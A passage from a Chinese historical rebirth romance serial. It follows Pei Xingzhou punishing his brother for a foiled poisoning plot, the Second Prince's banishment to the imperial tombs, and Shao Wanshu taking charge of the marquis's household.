众人顿时一惊。裴行凛可是老侯爷的亲儿子,还是个嫡子,让他辞官会不会太严重了。 三老太爷说出了众人的心声:“这处罚是不是重了些?” 裴家只有裴行舟这一支强大,其他各支都不成器,好不容易有了两个做官的,再辞掉一个,裴家就没人了。 裴行舟:“三叔,您仔细想想,若他计谋得逞,会有什么后果?我死了不要紧,他把事情推到了我家夫人身上,大皇子和贤贵妃不会善罢甘休。二皇子定不会承认此事是他做的,所以裴家将迎来大皇子和贤贵妃的怒火,你们觉得侯府能撑得住吗?” 三老太爷脸色顿时变了。 这时,裴璃站了出来:“三叔,有件事族中可能还不知道,在我科考前夜,二哥曾命人给我的晚饭中下了泻药,试图阻止我去参加科考。” 三老太爷不可置信地看向裴行凛,问裴行舟:“此事可是真的?” 裴行舟:“是真的,这件事是我发现的,饭菜也及时换掉了。” 三老太爷这次是真的生气了,站在他的角度,不管裴璃是谁生的,他只希望裴家的子弟能有出息,大家不能互相残杀。裴行凛看不惯裴璃要下毒害他,如今看不惯裴行舟也要下毒,这样的性子当真是坏透了。今日下毒不成,怕是以后还要继续下毒。当真是不达目的不罢休。 “行舟,你看着办吧,我没有任何意见。” 姜老夫人又看向了姜家舅父。 姜家舅父叹了叹气,终究没说什么劝慰的话。他能说什么呢,两个人都是自己的外甥,手心手背都是肉。其中一个要害另外一个,谋取家主之位。他说不出来劝人大度的话。而且,他作为姜家的家主,若有一日底下的弟弟们也这样对他,他怕是也不会轻易饶过。 裴行凛彻底慌了:“母亲……” 邵婉淑也看向了姜老夫人。 姜老夫人狠了狠心,道:“老大,我不同意你的决定。” 众人全都看向姜老夫人。 姜老夫人:“行凛的确做错了事,他想下药害你和老三是他的不对。但不管是上次还是这一次,他的药都没下到你们饭菜中,你们安然无事。既然没有造成什么后果,所以我不同意你对行凛做如此处罚。” 邵婉淑心里十分失望,她从前一直觉得姜老夫人是个明事理的人。如今才发现,她的明事理,前提是不能伤害自己最喜欢的儿子。若是伤害到了裴行凛,她是什么理智都没了。 裴行舟是她的亲儿子,听到这样的话该有多难过。她抬眸看向了裴行舟,只见裴行舟目光沉沉地看向姜老夫人,一句话也没说。 邵婉淑从前还想过要缓和姜老夫人和裴行舟之间的关系,如今瞧着,还是算了吧,有些关系早已断裂,也没必要修复。 “母亲的意思是,只有三弟真的病倒无法参加科考,只有侯爷真的被害死了,我们才能惩罚裴行凛是吗?” 姜老夫人没说话。 邵婉淑突然想到了前世的一些细节,姜老夫人一直十分疼爱裴行凛,可在裴行舟死后,她似乎有些疏远裴行凛了。那时她沉浸在丧夫以及私生子的悲痛愤怒中,并未细想。如今想来,姜老夫人当时怕是已经察觉到了什么事情,猜到了裴行舟是被裴行凛害死的。 邵婉淑的心一冷,问了一个十分扎心的问题。 “如果侯爷真的被裴行凛害死了,母亲当真舍得让裴行凛一命偿一命吗?” 姜老夫人震惊地看向邵婉淑,她一直觉得这个儿媳虽然性子古板,但至少明事理也尊重她,她平日里也是站在她这边的,没想到她竟当众说出来这样的话。 见姜老夫人不答,邵婉淑道:“怕是倒了那个时候,母亲舍不得下手吧。您最喜欢裴行凛这个儿子,对侯爷不是那么喜欢。或许,您也会为侯爷的去世感到悲痛,但却未必舍得下手除掉小儿子。” 前世姜老夫人就是漠视了这个问题。 姜老夫人:“婉淑,这些事只是你的假设,并未发生,你莫要火上浇油。” 邵婉淑:“只是假设吗?实话告诉您,今日是我发现了裴行凛的异常,偷偷跟踪他。侯爷并未注意到裴行凛去了哪里,是后来发现了我才跟着我发现了裴行凛和二皇子的谋划。倘若今日我们没有跟着裴行凛,说不定此刻裴行凛已经把药下在了侯爷的茶水里。您知道侯爷对裴行凛这个弟弟很是照顾的,他对他不设防。即便此次没能成功,他以后还会有别的计谋。或许将药下在饭菜里,或许在战场上杀了他,总之他有无数种办法杀了他。您真的要亲眼看着裴行凛害死侯爷吗?” 姜老夫人怔怔地看向邵婉淑。 行凛……是这样的人吗? 姜老夫人又看向了被捆着的儿子。 杜氏见姜老夫人主意不定,对邵婉淑道:“你胡扯!二爷从未想过要害侯爷,这些都是你们的臆测。” 邵婉淑没理会杜氏,继续跟姜老夫人说道:“裴行凛一直觊觎侯爷的爵位,他认为侯府的爵位就应该是他的,您和老侯爷就不该把裴行舟找回来,裴行舟回来抢了他的爵位。” 裴行凛慌了,原来他的话全都被邵婉淑和裴行舟听去了,他连忙反驳:“你胡说什么,我没这么想。” 邵婉淑:“怎么,你敢做不敢当?” 裴行舟已经不想再听裴行凛说什么了,裴行凛是永远都不会改的,他也不想再试图去改变他了。 “我已经决定了,事情就这样办吧。” 裴行凛彻底慌了,看向姜老夫人,哭着道:“母亲,您要救救我啊!” 姜老夫人看着儿子的眼泪,心中的天平又朝着他倒了过去。 “你父亲为皇上出生入死,我也是诰命夫人,你弟弟的官职我还是能保住的。你若执意如此,明日我便入宫面圣。” 裴行舟:“随便。” 邵婉淑:“母亲,刚刚侯爷的话不是危言耸听,二皇子让人制了药,此事已经被皇上知晓,想必宫里在处理此事。母亲明日不妨等等宫里对二皇子的处置再决定是否入宫为裴行凛求情。” 裴行舟不再在意老夫人,他看向三老太爷,道:“父亲分给裴行凛的家产我一文都不会动的,这一部分将放在族中,奖励裴家子弟,但凡立了军功,或者科举考中,皆可得到奖励。” 三老太爷更加满意了,点了点头,裴家族中人自然没有任何意见。 裴行凛怒不可遏:“裴行舟,你凭什么能决定我的人生!” 裴行舟冷冷地看向裴行凛:“你又为何要同意二皇子的计划,提前结束我的人生?” 裴行凛竟然在裴行舟的目光中看到了一丝杀意,他心头顿时一跳。 裴行舟冷声道:“来人,行刑。” 姜老夫人哭着道:“老大,你怎么还要打你弟弟?你不能这样做!” 裴行舟看一圈裴家众人,道:“让旁人也长个记性,心中要时刻有裴家,不可做手足相残之事。” 寅虎亲自打板子,他这次可是下了狠劲儿了,虽然同样打了二十板子,这次可把他打晕过去了。 裴行舟:“明日就劳烦三叔将人带回去。” 三老太爷:“你放心吧。” 裴行舟又看向了脸色惨白的杜氏。 杜氏不知道这一切到底是怎么了,明明刚刚在宫里还好好的,一回到侯府中她的命运就被改写了。 裴行舟:“二弟妹是回娘家,还是跟二弟去族中?” 杜氏这次是真的陷入了两难的境地,印子钱的事让她得罪了娘家,兄嫂都对她有些意见。可跟着裴行凛,他如今一无所有了。 裴行舟:“去把杜家人叫过来。” 不一会儿,青云回来了,道:“杜家大郎和夫人得知了这边的情况后,离开了侯府,说让二夫人既然已经出嫁了,就让她回裴家族中。” 杜氏彻底死了心,她只能跟着裴行凛回裴家族中了。 第 62 章 裴行舟知道了邵婉淑的秘…… 等裴行舟和邵婉淑回到韶华院躺下后, 已经过了子时。 今晚忙碌了一晚上,明明十分疲惫,可他们二人却没多少睡意。 裴行舟突然想到一事, 问道:“在夫人的梦中我是被二弟害死的吗?” 邵婉淑没想到裴行舟突然问起了此事。若是刚重生时她或许不会说的,但后来她借着梦境说了不少前世的事情, 如今事情又和前世大不相同, 也没什么好隐瞒的了。她想了想,道:“我不确定。侯爷在一年后去了战场上,又过了一年,边关传来了侯爷去世的消息。” 裴行舟沉默良久, 问:“这一仗打了一年没打完?” 按理说不应该,邻国没有那么强的实力, 往年都是被他压着打。 邵婉淑:“对, 梦里是这样的。后来粮草短缺,户部和兵部在朝堂上因为这件事吵起来了,最终户部没有送去粮草。” 裴行舟一直没想通的一件事在此刻突然想通了:“所以,夫人是在梦里知道韩忠直是叛徒的?” 邵婉淑沉默了片刻,承认了:“对。” 裴行舟想到刚刚邵婉淑在厅堂的反应,问:“母亲在我去世后是不是什么都没做?” 邵婉淑:“母亲沉浸在悲痛中。” 裴行舟:“想必我的死和裴行凛以及二皇子脱不开干系。” 邵婉淑:“这个我就不清楚了, 后来没过多久我也死了。” 裴行舟又沉默了,呼吸重了些, 问:“我记得之前夫人说你梦到自己是被邵侍郎勒死的?” 邵婉淑顿了顿, 道:“可能是我判断失误, 当时我并没有看清楚是谁勒死我的,或许并不是父亲。” 裴行舟想到邵婉淑在几个月前突然调查裴行凛和裴璃,道:“夫人怀疑是二弟和三弟杀了你。” 邵婉淑发现裴行舟这个人真的很聪明,什么都瞒不过他。 “对, 那日我把梦境跟侯爷说了后,侯爷指出来一些破绽,我便觉得不是父亲杀了我,应该侯府里的人,查来查去,我更怀疑二弟和三弟。在侯爷死后,三弟时常来韶华院外面转悠,行为有些奇怪。二弟虽没有什么奇怪之举,但整件事他是最大的受益人。后来通过跟踪二弟和三弟,我排除了三弟的嫌疑,越发怀疑二弟。” 裴行舟:“今日宫里的那个内监也是夫人在梦里知道身份的?” 那个内监一定很少和二皇子联系,知道他是二皇子的人的人一定不多,不然二皇子不会让他当众去给二弟传信。 邵婉淑:“对。” 裴行舟又问了一个问题,确认自己的猜测:“在夫人梦里大皇子今年过年没回来吗?” 邵婉淑抿了抿唇,裴行舟今晚问的这些问题都是没什么关联的。 谁做梦能梦到这么多事情,一件一件还特别有逻辑,能串联起来。 他应该已经猜到了什么吧。 即便如此,她还是如实答道:“没有,那一仗打了三个月,结束的时候已经是三月份了,大皇子便没有回来。” 裴行舟将整件事情都捋顺了,也终于确定了心中的猜测。 “我会帮你查清楚莲娘的身份。” 这一句话让邵婉淑更加确定了,裴行舟果然猜到了什么。既如此,有些话也不必再明说。 “这世上叫莲娘的人那么多,不好查的,我查了很久都没查到。” 裴行舟:“事在人为。” 裴行舟手下的人比她多,既然他想查,那就让他查。 “禄管事告诉我她是西北边关的人,但我听着她的口音不太像。” 裴行舟:“好,我知道了。时辰不早了,睡吧。” 邵婉淑:“嗯。” 听着身侧传来均匀的呼吸声,裴行舟侧过身,将人揽入了怀中。今日他彻底明白过来了,夫人的那些梦境怕是真实发生过的。她的诸多改变应该也是因为这件事。不知她从前究竟经历了多少痛苦,如今才会做出这样的改变。 裴行舟小心翼翼地亲吻着邵婉淑的额头。 这一刻他明白了那日她和辛卿卿的对话,或许是因为经历了那么多事,所以她想着生下一个他的孩子,把爵位握在手中。他又何必去计较呢?她经历了那样的事,竟还愿留在自己的身边,他已经很知足了。 皇宫里 隆帝和贤贵妃坐在上位,大皇子和三皇子站在一旁,二皇子跪在地上。 就在刚刚,宫里的内监查出来三皇子今晚送给大皇子的吃食中被人下了药,这药跟二皇子递给裴行凛的一模一样。 隆帝:“朕再问你最后一遍,药是不是你下的?” 看着隆帝凌厉的目光,二皇子克制住来自心底的畏惧,握了握拳,道:“不是。儿子承认裴行凛手中的药是我给的,但那也是裴行凛跟我要的,皇兄吃食上的药与我无关。” 那个小太监已经承认了,又有裴行凛那个怂货,裴行舟和邵婉淑也亲耳听到了,他不好再辩驳。但大皇子吃食中的药并无人证,他抵死不认。 隆帝:“这药和你给裴行凛的一样,你还敢说与你无关!” 二皇子:“谁知道那个老太监还有没有把药给其他人,父皇不能把所有的事情都怪在儿臣的头上。” 隆帝:“你太令朕失望了。” 二皇子抿了抿唇,看向一旁的三皇子:“父皇为何不怀疑三弟,皇兄的吃食明明是三弟给的,最有嫌疑的不应该是三弟吗?” 父皇总是这样,一味地偏袒三弟。 粮草的事情已经被父皇发现了,他这辈子也不可能成为储君了。但是,他不如意,也不能让其他人好过!他就是不承认这件事,要把老三也拉下水,让贤贵妃去和老大斗。 三皇子:“父皇,儿臣真的不知道这吃食里有毒,送给皇兄之前我还自己吃过,觉得好吃才拿给了皇兄。” 隆帝看了三皇子一眼,道:“这吃食出了御膳房后,除了你,就只有老二身边的人碰过,如果你说不是你,那也就是说你怀疑是老二干的?” 三皇子看向二皇子,面露为难之色,他不觉得二皇兄是这样的人,可他自己也没有下毒。为什么一件简单的事情会变得这么复杂。 “儿臣不知道。” 隆帝垂了垂眸,又看向大皇子:“老大,这件事你怎么看?” 成年的几位皇子中,老二犯了错,已经不可能跟老大争皇位了。但老三颇为得宠,势头正盛,将会是老大登基过程中最大的阻碍。眼下没有证据证明这毒究竟是老二还是老三下的,他想知道老大会如何想。 贤贵妃看了一眼大皇子,在他开口之前,说道:“皇上,您是了解阿祐的,他最是善良不过,绝不可能谋害大皇子的。” 隆帝拍了拍贤贵妃的手:“爱妃不要急,听听大皇子怎么说的。” 贤贵妃急了:“大皇子在外带兵,不了解阿祐,不知道阿祐是个怎样的人。” 万一儿子真的被扣上一个谋害兄弟的名声,这一辈子都要完了。 隆帝又问了一遍:“老大,你怎么看?” 大皇子:“回父皇的话,贵妃娘娘所言甚是,这几年儿子不在京城,的确不太了解三弟。不过,那老太监只承认把药给了二弟身边的那个内监,而内监也从未跟三弟联络过。所以,在没有其他证据出现的情况下,二弟的嫌疑更大。” 他当然知道此时将老三拉下水对自己更有利,若是两年前未离京前,他或许头脑一热就说出来了。但这几年在边关的生活让他做不出来这样的事。边关虽然苦寒,但田地广阔,人的心胸也更开阔。跳出来争储这个圈子,从事情本身出发去思考问题才能更好地解决问题。 隆帝微微颔首。 贤贵妃顿时松了一口气。 二皇子嗤笑一声,觉得老大就是个蠢货,打仗打傻了。这么好的机会竟然不去咬住老三不放,还在对付他。他已经不可能对他造成威胁了。 “老太监和内监的话又怎可信?说不定他们早就被人收买了。” 大皇子反问:“他们二人的话不可信,二弟的话就可信了吗?” 二皇子:“皇兄,我可是你亲弟弟。” 大皇子:“三弟也是我亲弟弟,我帮理不帮亲。” 隆帝:“好了。来人,把老二押送到皇陵,没有朕的旨意,终生不得外出一步。” 二皇子震惊地看向隆帝:“父皇,真的不是儿子做的,不是儿子做的。” 隆帝:“是与不是,你心里清楚。” 二皇子见隆帝狠了心要治他,他眼泪都流了下来:“父皇,您不能这么偏心,您什么事都向着大哥和三弟,从来没考虑过儿子,我也是您的亲生儿子。” 隆帝:“朕将户部交给你,希望你将来能好好辅佐老大,结果你却生出来狼子野心,不想着做个贤王,却想着要将老大拉下来!” 贤贵妃抬眸看向隆帝,虽然早就知道皇上更中意大皇子,但此刻听到皇上亲口说出来这件事,她还是觉得很难受。 大皇子眼底也有几分意外的神色,当初父皇将他扔到了边关,又让老二入了户部,这几年都不让他回京,他以为父皇是放弃他了,没想到父皇还是想让他做储君。 二皇子:“父皇,儿子错了,儿子这次真的知道错了。” 隆帝:“上一次朕已经给过你机会了,是你自己没有好好把握住,拉下去。” 二皇子被拖了出去。 三皇子不忍地看着眼前这一幕,想说些什么,但看了看身边站着的大皇子,又闭了嘴。他不是个傻子,毒不是他下的,就只能是二皇兄下的。二皇兄是想借着他的手弄死大皇兄,若事情败露,他也会被牵连其中,皇位就是二皇兄的了。 隆帝:“老大留下,其他人都退出去吧。” 贤贵妃站起身朝着隆帝福了福身,带着同样失落的儿子离开了大殿。 隆帝看了一眼贤贵妃的背影。 很快殿内只剩下隆帝和大皇子,隆帝问道:“你当真觉得这件事不是老三干的?” 大皇子的心情已经平复下来,道:“不是三弟干的。三弟若真有这个心,有贤贵妃的帮忙,这些年二弟不可能发展起来,他没必要冒险这样做。会选择这样做的只可能是二弟,他知道自己已经走上了绝路,所以冒险下了这一步棋。这毒并不会当场发作,未必能查到二弟。若是运气好的话,我和定南侯同时去世,三弟撑不起来,父皇就只能用二弟了。” 隆帝:“看来你这几年在边关也没白待,有长进了,知道用脑子想问题了。” 大皇子想到离京前他防备着下面的几个弟弟,觉得父皇偏心,整日想着如何斗倒弟弟们,很是惭愧,噗通一声跪在了地上。 “是儿子年少轻狂不懂事,让父皇失望了。” 隆帝:“你如今能明白过来,还不算太晚。边关既然有程将军,你就先在京城待着吧。户部是老二留下的烂摊子,如今由邹相统管,你多跟他学一学。” 大皇子:“是。” 隆帝:“从这次的事情看,兵部的问题也不小,邻国始终是个隐患,早晚要有一战,你去好好整治一番。行舟这些年一直在京城,不懂的问问他。” 大皇子:“儿子记住了。” 隆帝:“老三是你的弟弟,心性纯良,他从未出手对付你,你将来要善待他。” 大皇子听出来隆帝的意思了,他思索片刻,道:“不如儿臣带着三弟一同去跟邹相学习。” 隆帝:“没这个必要。他对这些事不感兴趣,统管六部是储君应该做的事,你自己学好就行了。” 大皇子:“儿子明白了。” 隆帝顿了顿,又道:“贤贵妃那边……” 大皇子:“儿臣都明白,从前的事都是父皇对儿臣的历练,只要从今往后贵妃娘娘不再针对儿臣,儿臣定不会计较从前的事。” 虽然贤贵妃和邵家处处找茬,但他从未将他们看做真正的对手,他们的手段都是不痛不痒的,他的对手从来只有老二。如今老二已经倒了,他自然不会跟老三这边的人计较。 隆帝:“嗯,你退下吧。” 大皇子:“是,儿臣告退。” 第 63 章 平静。 祥和院中, 姜老夫人一夜没睡,她想了整整一夜。 这些年的确是她做错了。她和丈夫把爵位给了老大,却把疼爱给了老二。因为没能陪着老大长大, 所以老二出生后,她和丈夫对他十分溺爱。因为爵位给了老大, 所以又对老二有所亏欠。没想到这种偏爱反倒是滋生了他的野心, 他不光想要父母的疼爱,还想要老大的爵位,得不到,他便要杀了老大。 是她没教育好孩子。 想到老二以后都要在族里生活了, 以他的性子,怕是难以安分下来, 以后不知道会做出来什么样的事。 她要跟着他回族里去。 天亮了, 姜老夫人将李嬷嬷唤了进来。 李嬷嬷看着姜老夫人难看的脸色,猜到她一夜没睡,道:“老夫人,您要保重身体啊。” 姜老夫人:“为我洗漱吧。” 李嬷嬷心里咯噔一下,问:“老夫人是想进宫告御状吗?” 姜老夫人:“不去了,我不过是吓唬老大罢了。手心手背都是肉, 老大虽然小时候没在我身边长大,可也是我的骨肉, 我怎么可能这么做呢?” 李嬷嬷:“那您想做什么?” 姜老夫人:“我老了, 打算离开京城, 陪着老二去族里养老。” 李嬷嬷:“族中偏僻,您如何受得了?” 姜老夫人:“没你说的那么严重,不过是没有京城这般繁华罢了。老二被老大送去族中,他一个人我也不放心。与其在京城为他担忧, 不如陪他一同去。” 李嬷嬷见老夫人主意已定,叹了叹气,没再多劝。 柳氏一觉醒来方知昨晚发生了大事,但到底是什么事她不清楚。 等她洗漱完,发现裴璃竟然破天荒同她一起用早饭。 吃过饭后,裴璃跟她简短说了昨晚的事情:“裴行凛试图谋害大哥,被大哥发现了,大哥打了他二十军棍,决定把他扔回裴家族中去,杜氏也会跟着一同回去。” 柳氏惊讶得合不拢嘴。 杜氏终于不能在她面前耀武扬威了,她可太开心了。 结果这份开心没持续多久,就听裴璃继续说道:“我刚刚得到消息,母亲也决定陪他一起回族里。你最大的靠山离开了,以后府里就是大嫂做主。你从前没少针对大嫂,大嫂知道你曾想给大哥做妾,肯定不会善待你。” 柳氏由惊讶变成了惶恐,从前有婆母在上面押着,邵婉淑不敢明着针对她,如今婆母走了,邵婉淑肯定不会饶了她。裴璃这个人显然是站在邵婉淑那边的,他不帮着对付她就不错了,绝不会帮她的。 “那咱们……咱们搬出去?” 裴璃:“若是搬出去了,你以后可就不能再以定南侯府女眷自称了,从此以后你就是举人娘子。你也住不了这么好的房子了,最多是三进的院子。我不过是个举子,没有什么进项,父亲留给我的家产也不多,你的吃穿用度也要削减。” 柳氏一脸无语地看向裴璃。她一向瞧不上裴璃,若不是为了裴行舟,她才不会嫁给他。如今他要被分出去了,她更瞧不上他了。 裴璃:“所以,你要不要和离?” 柳氏下意识反驳:“你说这么多还不是想和我和离,你做梦!” 裴璃:“你仔细想想我方才说过的话再做决定。” 柳氏刚要张口反驳,话到了嘴边又咽了回去。 正如裴璃所说,等分了家,裴璃就真的只是个举人了。可若不分家,那就是邵婉淑当家做主。婆母在的时候她都不曾善待过府中的女眷,婆母离开了,以邵婉淑的性子一定会狠狠收拾她的,侯府的便宜她是一点都占不到了。 裴璃看出来柳氏的犹豫,道:“你不妨回一趟娘家,跟娘家人商议一下此事。” 柳氏没说话。 裴璃一开始也是想和柳氏好好过日子的,但柳氏并不想跟他过日子。她从未瞧得上他,不光心里想着大哥,还日日都把他的事情告诉嫡母。他早就想休了柳氏,但她为他生了一个女儿,看在女儿的份上,他不想把事情做得太难看,想给足她面子。 阿桔过来说姜老夫人院子里正在收拾东西时,邵婉淑还有些疑惑。 “给谁收拾东西?” 阿桔:“听祥和院的人说是在为老夫人收拾东西,老夫人决定和二爷一同回族里去,不回来了。” 邵婉淑惊讶之余又觉得十分合理。老夫人本就不喜欢裴行舟这个长子,更喜欢裴行凛这个次子。如今小儿子要被撵回去了,她肯定不放心,就是不知裴行舟知道此事后会是什么想法了。 阿桔:“要我说,老夫人走了也好,发生了昨日的事情后,夫人以后也无法跟老夫人好好相处了。” 邵婉淑没说什么,她让阿桔去前院跟裴行舟说了一声。 裴行舟坐在书房里久久没有反应。昨晚母亲说要去宫里告他,今早母亲又决定要离开了。母亲心里怕是从来都没有他这个儿子的位置。小时候他被母亲抛弃过一次,如今她再次抛弃了他。 不过,他已经不是小时候的他了。 “知道了,安排护卫送母亲离京。” 信管家:“是。” 裴行舟顿了顿,又道:“你亲自走一趟吧,把族里的院子收拾好,安顿好母亲再回来。” 信管家:“是。” 不多时,青云传回来一个消息:“二皇子被皇上罚去守皇陵了,终生不得踏出一步。” 新年已过,再加上昨日的事情,皇上跟二皇子算账了。 “知道了。” 姜老夫人走之前,柳家的人来了。 柳家的人对姜老夫人十分不满,想不通她为何一定要离开京城,若她还在京城的话,女儿又何须和离,可以一直住在侯府。但瞧着侯府的气氛不太对,他们也没敢说什么,直奔主题。 听到柳氏要和裴璃和离,姜老夫人怔了一下,同意了。 裴明英过来闹了一回,她哭着道:“母亲,您为何要走?二哥犯了错,您为何也要离开,您可曾想过我该如何?” 姜老夫人看着女儿,叹了叹气:“你留在侯府。我已经跟你大嫂说过了,让她为你寻一门好亲事。” 裴明英:“大嫂本就不喜欢我,怎么可能会为我说什么好亲事。” 姜老夫人沉了脸,越发觉得自己错了,这一双儿女都被她养得过于任性了。 “娘不可能永远护着你,你也该改改脾气了。若你还是这般,即便娘为你说了一门好亲事,你也不会幸福的。” 裴明英:“娘,您在说什么呢?女儿到底哪里做的不好?” 姜老夫人:“也是娘的错,从前对你过于纵容,虽然察觉到你和你大嫂不合,你更喜欢你二嫂,也没能好好规劝你。人总要为自己做错的事付出代价,你要么跟我回族里,我为你说一门亲事。要么留在京城,学着讨好你大嫂,磨一磨自己的性子。你自己选。” 裴明英委屈地不行,不明白为何一觉醒来会变成这个样子。 姜老夫人还是离开了。 傍晚时,侯府又恢复了宁静,这一次是真的静下来了。姜老夫人离开了,二房也走了,柳氏也离开了。 裴明英最终还是选择留下了。 柳氏虽然离开了,但女儿留下了,她的女儿还小,裴璃又要科考,无暇照顾孩子,因此孩子被邵婉淑接到了韶华院里。 裴璃想走的,被裴行舟阻止了。对裴璃而言,最紧要的事情是来年的春闱。等他中了进士,授了官再离开。 阿梨和阿桔相视一笑。 阿梨:“夫人,恭喜您。” 阿桔:“夫人,恭喜您。” 邵婉淑知道她们说的是什么,如今侯府没了阻碍,她是真的能当家做主了。她也没想到今生竟然这么顺利,不仅解决了裴行凛,杜氏柳氏也离开了。 不知是不是最近几日太忙了,没等到亥时,邵婉淑就去睡了。 第二日一早,邵婉淑早早醒了过来,她醒来时裴行舟还没醒。 看着裴行舟眼下的青黑,邵婉淑忍不住抬手摸了摸他的眼睛。 这时,裴行舟醒了过来。 四目相对,邵婉淑先开口了:“侯爷还好吗?” 裴行舟:“挺好的。” 邵婉淑突然冒出来一句:“你还有我。” 裴行舟突然笑了,他抬手握住了邵婉淑的手,放在唇边亲了亲。 “夫人不是盼着我死吗?” 邵婉淑愣了一下,也想清楚了,裴行舟果然听到她和卿卿的谈话了。 “我没盼着你死,是梦里的你死了,只留下了我一个人。你是我的夫君,我自然是希望你能好好活着的……” 裴行舟看着邵婉淑的眼睛:“真的?” 邵婉淑点头:“自然是真的。” 这话是邵婉淑的真心话。她还没怀上孩子,要是裴行舟在这个时候死了,她膝下连个孩子都没有,搞不好还得让裴行凛的儿子来继承爵位,岂不是亏死了。 裴行舟:“若夫人已经生了儿子呢?” 邵婉淑:…… 若她生了儿子,自然是希望儿子能继承爵位,她也不至于落得个和前世一样的下场。 见邵婉淑沉默,裴行舟眯了眯眼。 邵婉淑察觉到一丝危险的气息,连忙道:“二弟和母亲都离开了,三弟和三弟妹又和离了,这个消息肯定在京城中传开了。昨日你告了假,没人问你,今日你去上朝肯定会有人跟你提此事的。” 裴行舟将手搭在了邵婉淑的腰上,捏了捏她腰间的肉。 邵婉淑瑟缩一下。 裴行舟:“无碍。” 察觉到裴行舟不老实,邵婉淑生怕裴行舟还想问刚刚的事情,连忙找话题说:“二皇子为何被罚那么重,可是被皇上发现了别的事情?” 说到底这件事虽然是二皇子的主意,但执行的是裴行凛,想要害的人也是裴行舟。站在皇上的角度,若单单只是这些事,不可能罚这么重。 裴行舟:“皇上早已知晓年前粮草的事情主谋是二皇子,之前没罚他是因为在过年,昨日皇上在三皇子送给大皇子的吃食中也发现了这种药,查到了是二皇子偷偷放进去的。” 邵婉淑没想到自己竟然还猜对了,二皇子可真够坏的。 裴行舟手更加不老实了。 “三弟至少要在府中住到明年科考结束,蕴姐儿这边也要靠夫人照顾了。” 邵婉淑:“没关系的,府里地方大,三弟想住到什么时候就住到什么时候。蕴姐儿也不用我操心,有嬷嬷和丫鬟照顾。” 裴行舟:“多谢夫人。” 邵婉淑:“不……不必谢我,都是我应做的。” 裴行舟吻上了邵婉淑的唇:“嗯。” 邵婉淑颤栗了一下,推了推裴行舟:“侯爷该去上朝了。” 裴行舟哑声道:“还早,来得及。” 邵婉淑:…… 她有些怀念当初那个高冷的定南侯了。 第 64 章 邵婉淑得知莲娘的身份。…… 吃过早饭, 邵家来人了,这次是陆氏亲自来的。 如今二皇子被罚去守皇陵,成年的皇子就只剩下大皇子和三皇子了。裴行舟又把裴行凛赶走了, 姜老夫人也离开了,整个侯府都是邵婉淑说了算。 陆氏正是得知了这一点, 才亲自过来了。如今侯府是女儿当家, 上面没有婆母压着,她过去了不用看姜老夫人的脸色,还得被所有人敬着。 若是旁人来,邵婉淑直接就撵出去了, 但这次是陆氏亲自来的,不好直接把她赶走。 陆氏一改之前来侯府时的小心翼翼, 在侯府内宅里慢慢转悠, 下巴都是往上抬的,不知道的还以为她才是侯府的女主子。到了韶华院后,直接坐在了主位上,神色也较以往傲慢了些。 邵婉淑坐在了另一侧。 陆氏:“你的命好啊,嫁给了定南侯,不过半年的时间就能独掌侯府了, 整个京城的女眷谁不羡慕你?” 邵婉淑没说话。前世她可是在这个侯府中丢了性命的,京城中的女眷都在可怜她命苦, 说她不祥。 陆氏又道:“你拥有的一切都得感激你姑母和你父亲, 若非他们帮忙, 你可嫁不了这么好……” 陆氏絮絮叨叨说起了贤贵妃和邵侍郎的功劳,邵婉淑也不插话,左耳朵进右耳朵出。 陆氏:“那日在宫宴上瞧着侯爷对你并非无情,你得好好为自己的将来考虑了。若大皇子登基, 绝没有咱们的好日子过。若三皇子登基,你才能在定南侯府继续做侯夫人。” 邵婉淑仍旧没搭理陆氏,任她自己说自己的。 陆氏:“你听到我说的话了吗?” 邵婉淑放下手中的茶杯,淡淡问道:“母亲真的有站在我的角度考虑问题吗?” 陆氏:“那不然呢,你是我身上掉下来的一块肉,即便你再冷血,我也不可能不管你。” 邵婉淑:“若母亲真的站在我的角度考虑问题,就不会说出来方才那番话了。” 陆氏:“你这是什么意思?” 邵婉淑:“侯爷和大皇子交好,大皇子上位后,我自然能稳坐侯夫人的位置。三皇子是我的表弟,若他登基,我依然可以继续做侯夫人。所以,他俩谁输谁赢都不会影响我的地位。我又何必跟着瞎掺和。” 陆氏沉了脸:“你的意思是不帮三皇子?” 邵婉淑:“不,不是不帮三皇子,确切说是不帮父亲。三皇子若有我需要帮助的地方我还是会帮的。” 陆氏不解:“帮他登基不就是在帮助他了吗?” 邵婉淑:“未必吧。储君的位置三皇子可从来没说过想要,是父亲母亲的一厢情愿。帮他登基,实则是在帮父亲,父亲不满足于礼部侍郎的位置,想要至高无上的权势地位。” 陆氏蹙了蹙眉:“这又有什么区别?你父亲得了权势地位,你在婆家也能更有底气。” 邵婉淑:“没有父亲,我现在在侯府也很有底气。” 陆氏又开始劝了。 接下来不管陆氏怎么劝说,邵婉淑都没搭理她。坐了一会儿,觉得有些腰疼,邵婉淑便端茶送客了。 陆氏大怒:“你如今真的是翅膀硬了,不把娘家人放在眼中了。我可是你的母亲!” 邵婉淑:“母亲忘了么,我还跟父亲吵过架呢,咱们不是早就说好不往来了吗?您今日为何又亲自过来说一遍。” 陆氏气得不轻,指着邵婉淑道:“你知不知道你父亲见你不听话,想把你二妹妹送到侯爷身边,多亏我在旁边拦着这件事才没能成。” 闻言,邵婉淑冷笑一声。 “父亲把自己当成什么了,想往侯府塞人就塞人?母亲也不必在我面前邀功。父亲要是不怕丢人就尽管送,你们真以为定南侯那么好拿捏,真以为我还那么好拿捏?” 陆氏眉头皱了起来,又说了女儿几句,起身离开了定南侯府。 邵婉淑丝毫没被陆氏影响到了情绪,反倒是有些困倦,忍不住打了个哈欠,去床上睡了一会儿。 晚上,等裴行舟回来后,邵婉淑想起了母亲的话,问了一句:“我父亲想把我二妹妹送给侯爷做妾?” 裴行舟:“没有这种事。” 邵婉淑也觉得母亲在撒谎,父亲或许有把二妹妹送给裴行舟的意思,但裴行舟一向不喜父亲,对他毫无敬重之意,不会同意。 “嗯。” 裴行舟:“我不会纳妾的。” 邵婉淑抬眸看向裴行舟。世间男子多半都喜欢纳妾,喜欢温柔小意的妾侍,京城有头有脸的人家基本都有妾侍。裴行舟倒是个例外,在成亲前他甚至连通房都没有。 想到裴行舟之前的处境,她约摸是明白了些什么。姜老夫人不喜裴行舟,裴行舟跟她之间有隔阂,所以姜老夫人送过来的人裴行舟不会接受。后来府中又是危机四伏,处处是眼线,裴行舟也不好纳妾。如今外面的局势已定,府中也清净了,倒是可以没那么多的顾忌了。 邵婉淑:“侯爷若是想纳妾的话可以跟我说,我……” 本想装作大度的,结果说了半句就说不下去了。好不容易过几天清净的日子,她可不想府里来个人打破这份平静。 